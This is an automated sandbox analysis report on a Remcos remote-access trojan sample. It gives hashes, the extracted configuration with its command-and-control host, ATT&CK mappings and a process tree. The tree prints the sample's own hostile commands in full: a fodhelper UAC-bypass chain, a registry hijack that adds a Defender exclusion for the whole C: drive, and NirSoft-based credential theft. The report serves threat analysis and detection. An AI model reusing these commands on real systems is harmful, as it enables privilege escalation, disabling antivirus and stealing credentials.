remcos | 52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
26/07/2024, 03:16

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General

Target
52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe
Size 1.0MB
Sample240726-dswssatark
SHA256 52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071
MD5 c9849a6295f2527f02fd7b9a0664d401
SHA1 9db9709ad5446150bff3c3a4d193979753904866
SHA512 0f330d7bc780dbb1b9ef2bc92e018c29523aca29fda9e3f3f785e4c8f6fc06181e0e4c5bb5ad59f7a34409affa606d9d19c4f13981e8097c95778beef6cbd3ea
SSDEEP 24576:E6Dlm/atGKanKxvdwEHfZTX0u/nJaRj9yin1mV/aJscLc:DDcCZfx+GQRjj1mj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost collection credential_access discovery persistence rat stealer

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

127.0.0.1:52121
officerem.duckdns.org:52121

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-UNX1LL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4364-102-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/540-99-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/1912-98-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/540-99-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/1912-98-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	ngtepnyT.pif
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	per.exe

Executes dropped EXE 20 IoCs

pid	Process
4264	ngtepnyT.pif
652	alpha.exe
4936	alpha.exe
3352	alpha.exe
3656	alpha.exe
1844	alpha.exe
4780	alpha.exe
2404	xkn.exe
3572	alpha.exe
4376	ger.exe
1616	per.exe
2420	alpha.exe
1400	alpha.exe
3356	alpha.exe
2180	alpha.exe
1676	alpha.exe
3644	alpha.exe
756	alpha.exe
5048	alpha.exe
2204	alpha.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	colorcpl.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tynpetgn = "C:\\Users\\Public\\Tynpetgn.url"	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4664 set thread context of 4264	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	95
PID 1820 set thread context of 1912	1820	colorcpl.exe	134
PID 1820 set thread context of 540	1820	colorcpl.exe	136
PID 1820 set thread context of 4364	1820	colorcpl.exe	137

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ngtepnyT.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	colorcpl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1276	PING.EXE
1400	alpha.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
3596	taskkill.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open	ger.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\""	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell\open\command	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings	ger.exe
Key created	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\ms-settings\shell	ger.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	xkn.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	xkn.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1276	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	26	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2404	xkn.exe
2404	xkn.exe
2404	xkn.exe
4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe
4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe
1912	colorcpl.exe
1912	colorcpl.exe
4364	colorcpl.exe
4364	colorcpl.exe
1912	colorcpl.exe
1912	colorcpl.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
1820	colorcpl.exe
1820	colorcpl.exe
1820	colorcpl.exe
1820	colorcpl.exe
1820	colorcpl.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2404	xkn.exe
Token: SeDebugPrivilege	3596	taskkill.exe
Token: SeDebugPrivilege	4364	colorcpl.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 4264	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	95
PID 4664 wrote to memory of 4264	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	95
PID 4664 wrote to memory of 4264	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	95
PID 4664 wrote to memory of 4264	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	95
PID 4664 wrote to memory of 4264	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	95
PID 4264 wrote to memory of 2124	4264	ngtepnyT.pif	96
PID 4264 wrote to memory of 2124	4264	ngtepnyT.pif	96
PID 2124 wrote to memory of 3736	2124	cmd.exe	99
PID 2124 wrote to memory of 3736	2124	cmd.exe	99
PID 2124 wrote to memory of 652	2124	cmd.exe	100
PID 2124 wrote to memory of 652	2124	cmd.exe	100
PID 2124 wrote to memory of 4936	2124	cmd.exe	101
PID 2124 wrote to memory of 4936	2124	cmd.exe	101
PID 2124 wrote to memory of 3352	2124	cmd.exe	102
PID 2124 wrote to memory of 3352	2124	cmd.exe	102
PID 3352 wrote to memory of 1988	3352	alpha.exe	103
PID 3352 wrote to memory of 1988	3352	alpha.exe	103
PID 2124 wrote to memory of 3656	2124	cmd.exe	104
PID 2124 wrote to memory of 3656	2124	cmd.exe	104
PID 3656 wrote to memory of 2228	3656	alpha.exe	105
PID 3656 wrote to memory of 2228	3656	alpha.exe	105
PID 2124 wrote to memory of 1844	2124	cmd.exe	106
PID 2124 wrote to memory of 1844	2124	cmd.exe	106
PID 1844 wrote to memory of 2588	1844	alpha.exe	107
PID 1844 wrote to memory of 2588	1844	alpha.exe	107
PID 2124 wrote to memory of 4780	2124	cmd.exe	108
PID 2124 wrote to memory of 4780	2124	cmd.exe	108
PID 4780 wrote to memory of 2404	4780	alpha.exe	109
PID 4780 wrote to memory of 2404	4780	alpha.exe	109
PID 2404 wrote to memory of 3572	2404	xkn.exe	110
PID 2404 wrote to memory of 3572	2404	xkn.exe	110
PID 3572 wrote to memory of 4376	3572	alpha.exe	111
PID 3572 wrote to memory of 4376	3572	alpha.exe	111
PID 2124 wrote to memory of 1616	2124	cmd.exe	112
PID 2124 wrote to memory of 1616	2124	cmd.exe	112
PID 4664 wrote to memory of 1568	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	115
PID 4664 wrote to memory of 1568	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	115
PID 4664 wrote to memory of 1568	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	115
PID 4664 wrote to memory of 1820	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	118
PID 4664 wrote to memory of 1820	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	118
PID 4664 wrote to memory of 1820	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	118
PID 2124 wrote to memory of 2420	2124	cmd.exe	119
PID 2124 wrote to memory of 2420	2124	cmd.exe	119
PID 4664 wrote to memory of 1820	4664	52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe	118
PID 2420 wrote to memory of 3596	2420	alpha.exe	121
PID 2420 wrote to memory of 3596	2420	alpha.exe	121
PID 2124 wrote to memory of 1400	2124	cmd.exe	124
PID 2124 wrote to memory of 1400	2124	cmd.exe	124
PID 1400 wrote to memory of 1276	1400	alpha.exe	125
PID 1400 wrote to memory of 1276	1400	alpha.exe	125
PID 2124 wrote to memory of 3356	2124	cmd.exe	126
PID 2124 wrote to memory of 3356	2124	cmd.exe	126
PID 2124 wrote to memory of 2180	2124	cmd.exe	127
PID 2124 wrote to memory of 2180	2124	cmd.exe	127
PID 2124 wrote to memory of 1676	2124	cmd.exe	128
PID 2124 wrote to memory of 1676	2124	cmd.exe	128
PID 2124 wrote to memory of 3644	2124	cmd.exe	129
PID 2124 wrote to memory of 3644	2124	cmd.exe	129
PID 2124 wrote to memory of 756	2124	cmd.exe	130
PID 2124 wrote to memory of 756	2124	cmd.exe	130
PID 2124 wrote to memory of 5048	2124	cmd.exe	131
PID 2124 wrote to memory of 5048	2124	cmd.exe	131
PID 2124 wrote to memory of 2204	2124	cmd.exe	132
PID 2124 wrote to memory of 2204	2124	cmd.exe	132

C:\Users\Admin\AppData\Local\Temp\52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe
"C:\Users\Admin\AppData\Local\Temp\52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Users\Public\Libraries\ngtepnyT.pif
  C:\Users\Public\Libraries\ngtepnyT.pif
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\ED3E.tmp\ED3F.tmp\ED40.bat C:\Users\Public\Libraries\ngtepnyT.pif"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\System32\extrac32.exe
      C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
      4⤵
      PID:3736
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
      4⤵
      Executes dropped EXE
      PID:652
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
      4⤵
      Executes dropped EXE
      PID:4936
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3352
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
        5⤵
        
        PID:1988
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3656
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
        5⤵
        
        PID:2228
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1844
    - - C:\Windows\system32\extrac32.exe
        
        extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
        5⤵
        
        PID:2588
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4780
    - - C:\Users\Public\xkn.exe
        
        C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
        5⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2404
      - C:\Users\Public\alpha.exe
        
        "C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3572
        
        C:\Users\Public\ger.exe
        
        C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
        7⤵
        Executes dropped EXE
        Modifies registry class
        
        PID:4376
  - - C:\Windows \System32\per.exe
      "C:\\Windows \\System32\\per.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:1616
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2420
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM SystemSettings.exe
        5⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3596
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
      4⤵
      Executes dropped EXE
      System Network Configuration Discovery: Internet Connection Discovery
      Suspicious use of WriteProcessMemory
      PID:1400
    - - C:\Windows\system32\PING.EXE
        
        ping 127.0.0.1 -n 2
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1276
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
      4⤵
      Executes dropped EXE
      PID:3356
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
      4⤵
      Executes dropped EXE
      PID:2180
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
      4⤵
      Executes dropped EXE
      PID:1676
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:3644
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:756
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:5048
  - - C:\Users\Public\alpha.exe
      C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
      4⤵
      Executes dropped EXE
      PID:2204
- C:\Windows\SysWOW64\extrac32.exe
  C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071.exe C:\\Users\\Public\\Libraries\\Tynpetgn.PIF
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1568
- C:\Windows\SysWOW64\colorcpl.exe
  C:\Windows\System32\colorcpl.exe
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  PID:1820
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\vpsvpkjikgmkoyepgmkfvgepijqdno"
    3⤵
    PID:4780
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\vpsvpkjikgmkoyepgmkfvgepijqdno"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1912
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\xjxgqdubyoexqestxwxyytqgjyiegzaxg"
    3⤵
    PID:4916
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\xjxgqdubyoexqestxwxyytqgjyiegzaxg"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:540
- - C:\Windows\SysWOW64\colorcpl.exe
    C:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\illyrv"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4364

C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
1⤵
PID:3360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 146B
SHA256 4f0a3009cb4fe9dc760c88e06489a40c8b4ce2248a6d40794702e6ffb175423f
MD5 30beae253588d17f861c8772b93a1527
SHA1 7a658ab3a9a9964212a42ed2e83b2ab9f4500efa
SHA512 9708ede82ce1b43b7b4073679de5ed095ea6c167be88576081fb46ef47bcacbca886bcdbe4390829ddd7a7c75e4859f7ddaff41897a000c04e50c8f0d9e02acf
MD5 SHA1 SHA512

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ED40.bat

Path C:\Users\Admin\AppData\Local\Temp\ED3E.tmp\ED3F.tmp\ED40.bat
Size 1KB
SHA256 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
MD5 e62f427202d3e5a3ba60ebe78567918c
SHA1 6ef0cd5ba6c871815fceb27ff095a7931452b334
